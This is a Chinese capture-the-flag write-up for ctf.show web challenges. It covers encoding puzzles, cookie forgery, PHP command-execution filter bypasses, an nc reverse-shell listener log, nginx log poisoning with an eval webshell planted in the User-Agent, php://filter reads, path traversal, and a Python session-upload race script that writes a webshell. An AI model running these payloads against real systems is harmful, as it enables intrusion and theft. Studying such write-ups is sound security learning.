第一章 base64编码隐藏 打开题目,是一个登录页面
ctrl+u查看源代码,看到
const correctPassword = "Q1RGe2Vhc3lfYmFzZTY0fQ==";
base64解码后,输入密码得到flag
HTTP头注入 与上一题相同的页面,但输入密码后显示UA错误,修改UA为ctf-show-brower后,得到flag
Base64多层嵌套解码 <script> document.getElementById('loginForm').addEventListener('submit', function(e) { const correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU="; function validatePassword(input) { let encoded = btoa(input); encoded = btoa(encoded + 'xH7jK').slice(3); encoded = btoa(encoded.split('').reverse().join('')); encoded = btoa('aB3' + encoded + 'qW9').substr(2); return btoa(encoded) === correctPassword; } }); </script>
查看源代码,得知密码加密后为
SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=
查看编码逻辑
第一步:
现将输入内容进行一次base64加密
第二步:
将加密后的内容,后加一串’’xH7jK’’,再进行第二次base64加密,之后删除前三个字符
第三步:
现将字符进行一次翻转,再进行一次base64编码
第四步:
在加密字符的前后加内容,在进行一次base64编码,最后再去除前两个字符
最后进行与正确值的判断
由于不知道每次去除的字符,所以这里采用爆破手段
// 在控制台直接运行以下代码 const correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU="; function encrypt(password) { let encoded = btoa(password); encoded = btoa(encoded + 'xH7jK').slice(3); encoded = btoa(encoded.split('').reverse().join('')); encoded = btoa('aB3' + encoded + 'qW9').substr(2); return btoa(encoded); } function bruteForce6Digit() { console.time('Brute Force Time'); // 生成6位数字的优化方法(000000-999999) for (let num = 0; num <= 999999; num++) { // 补零到6位 const candidate = num.toString(); // 加密并比对 if (encrypt(candidate) === correctPassword) { console.timeEnd('Brute Force Time'); return candidate; } // 每10万次输出进度 if (num % 100000 === 0) { console.log(`Progress: ${num/100000}0%`); } } console.timeEnd('Brute Force Time'); return "Not found"; } // 执行破解 console.log("Result:", bruteForce6Digit());
在控制台中运行后得到正确密码,修改UA后提交,得到正确flag
HTTP中间人攻击 直接给了个流量包
打开后能直接看到POST请求得到了flag
按照官方wp,应该是能看到加密后的flag,用附件给的密码进行解密
Cookie伪造 打开发现是一个登录页面
默认账号密码guest/guest
登录后什么也没有
查看cookie,发现存在一个“role”的值为“guest”
修改为“admin”之后重新登陆,得到flag
第二章 一句话木马变形 点开后显示让我们输入php代码
能够看到php信息
尝试进行RCE,发现存在过滤
对一系列函数进行了过滤,但没有过滤eval和base64等
对“=”进行了过滤,可以加空格再编码
最终payload:
eval(base64_decode(c3lzdGVtKCd0YWMgIGYqJyk7));
反弹shell构造 建议还是使用服务器,内网穿透可能不稳定
首先在服务器里建立端口监听
开始对4444这个端口进行监听
接着看题目
题目跟上一题一样有一个phpcode运行,但输入命令后只有一个“execute success!”显示,所以正常RCE可能很难
使用反弹shell
xxx是服务器的公网ip,连接之后,在服务器上能看到连接成功,接着进行rce
nc -lvnp 4444 Listening on 0.0.0.0 4444 Connection received on 124.223.158.81 46072 ls flag.php index.php tac f* $flag = "CTF{reverse_shell_use_nc}"; <?php
成功拿到flag
管道符绕过过滤 依旧代码执行
随便输入一点
就是在前面加了一个ls
直接
拿到flag
无字母数字代码执行 代码执行,使用bp+url编码绕过
<?php $system ="system" ;$command ="tac flag.php" ; echo '(~' .urlencode (~$system ).')(~' .urlencode (~$command ).');' ;?>
(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F);
使用bp发送,得到flag
第三章 日志文件包含 普通的文件包含,”//“被禁用,用伪协议可能是做不了了
所以选用标题所示的日志文件包含
首先用bp拦下,扔到repeater
file=/var/log/nginx/access.log
UA写码:
POST / HTTP/1.1 Host: 8d4f22df-ae2b-4f7b-a0c8-53f677c2fa6f.challenge.ctf.show Content-Length: 50 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Language: zh-CN,zh;q=0.9 Origin: https://8d4f22df-ae2b-4f7b-a0c8-53f677c2fa6f.challenge.ctf.show Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent:<?= eval($_POST[1]);?> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://8d4f22df-ae2b-4f7b-a0c8-53f677c2fa6f.challenge.ctf.show/ Accept-Encoding: gzip, deflate, br Priority: u=0, i Connection: keep-alive file=/var/log/nginx/access.log&1=system('tac f*');
成功拿到flag
<?php " 172.12.234.244 - - [28/Nov/2025:13:08:45 +0000] "POST / HTTP/1.1" 200 1362 "https://8d4f22df-ae2b-4f7b-a0c8-53f677c2fa6f.challenge.ctf.show/" "$flag = "CTF{php_access_l0g_lf1_is_fun}"; <?php "
php://filter读取源码 还用上一题的payload,结果果然是被禁用了
试一下伪协议读取
php://filter/convert.base64-encode/resource=flag.php
没读出来,那先拿index.php
index.php:
<!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <title>PHP LFI/RFI Code Executor</title> <style> body { font-family: 'Arial' , sans-serif; background: linear-gradient (135 deg, #1e3 c72, #2 a5298); height: 100 vh; display: flex; justify-content: center; align-items: center; margin: 0 ; color: white; } .container { background: rgba (255 , 255 , 255 , 0.1 ); backdrop-filter: blur (10 px); border-radius: 10 px; padding: 2 rem; width: 600 px; box-shadow: 0 15 px 30 px rgba (0 , 0 , 0 , 0.2 ); text-align: center; } .container h2 { margin-bottom: 1.5 rem; } .form-group { margin-bottom: 1 rem; text-align: left; } .form-group label { display: block; margin-bottom: 0.5 rem; font-weight: bold; } .form-group textarea { width: 100 %; padding: 0.8 rem; border: none; border-radius: 5 px; background: rgba (255 , 255 , 255 , 0.2 ); color: white; min-height: 200 px; font-family: monospace; } .form-group textarea:focus { outline: none; background: rgba (255 , 255 , 255 , 0.3 ); } button { width: 100 %; padding: 0.8 rem; border: none; border-radius: 5 px; background: color: white; font-weight: bold; cursor: pointer; transition: background 0.3 s; } button:hover { background: } .result { margin-top: 1 rem; padding: 0.8 rem; border-radius: 5 px; background: rgba (0 , 0 , 0 , 0.3 ); text-align: left; white-space: pre-wrap; font-family: monospace; min-height: 100 px; max-height: 300 px; overflow-y: auto; } </style> </head> <body> <div class ="container "> <h2 >PHP LFI /RFI Code Executor </h2 > <form method ="POST "> <div class ="form -group "> <label for ="file ">Enter file path :</label > <textarea id ="file " name ="file " placeholder =""><?php if (isset ($_POST ['file '])) { echo htmlspecialchars ($_POST ['file' ]); } ?> </textarea> </div> <button type="submit" >Include file</button> </form> <?php if ($_SERVER ['REQUEST_METHOD' ] === 'POST' && isset ($_POST ['file' ])): ?> <div class ="form -group "> <label >Include Result :</label > <div class ="result "><?php include "db .php "; function validate_file_contents ($file ) { if (preg_match ('/[^a-zA-Z0-9\/\+=]/' , $file )){ return false ; } return true ; } try { if (preg_match ('/log|nginx|access/' , $_POST ['file' ])) { throw new Exception ('Invalid input. Please enter a valid file path.' ); } ob_start (); echo file_get_contents ($_POST ['file' ]); $output = ob_get_clean (); if (!validate_file_contents ($output )){ throw new Exception ('Invalid input. Please enter a valid file path.' ); }else { echo 'File contents:' ; echo '<br>' ; echo $output ; } } catch (Exception $e ) { echo 'Error: ' . htmlspecialchars ($e ->getMessage ()); } ?> </div> </div> <?php endif ; ?> </div> </body> </html>
能看到有一个db.php
读一下这个文件,成功拿到flag
<?php $servername = "localhost"; $username = "root"; $password = "CTF{3ecret_passw0rd_here}"; $dbname = "book_store";
远程文件包含(RFI) 文件包含
前面的方法都不能用
使用标题的远程包含
就是包含一个网站文件,网站文件包含一个木马
可以用自己服务器的,也可以使用在线的网站
这里用的是在线网站
这个文件里包含一个木马,在题目里包含这个网站,之后直接rce即可拿到flag
路径遍历突破 就是多穿几层
题目不让用/或../开头,随便加点东西,然后多穿几层即可
payload:
aaa/../../../../../../../../flag.txt
即可得到flag
临时文件包含 session竞争,这里使用脚本完成
import requestsimport threadingsession=requests.session() sess='ctfshow' url="http://748e65e1-0ecd-4ee8-91a3-0f78be65338c.challenge.ctf.show/" data1={ 'PHP_SESSION_UPLOAD_PROGRESS' :'<?php echo "success";file_put_contents("/var/www/html/1.php","<?php eval(\\$_POST[1]);?>");?>' } file={ 'file' :'ctfshow' } cookies={ 'PHPSESSID' : sess } def write (): while True : r = session.post(url,data=data1,files=file,cookies=cookies) def read (): while True : r = session.get(url+"?path=/tmp/sess_ctfshow" ,cookies=cookies) if 'success' in r.text: print ("shell 地址为:" +url+"1.php" ) exit() threads = [threading.Thread(target=write), threading.Thread(target=read)] for t in threads: t.start()
第四章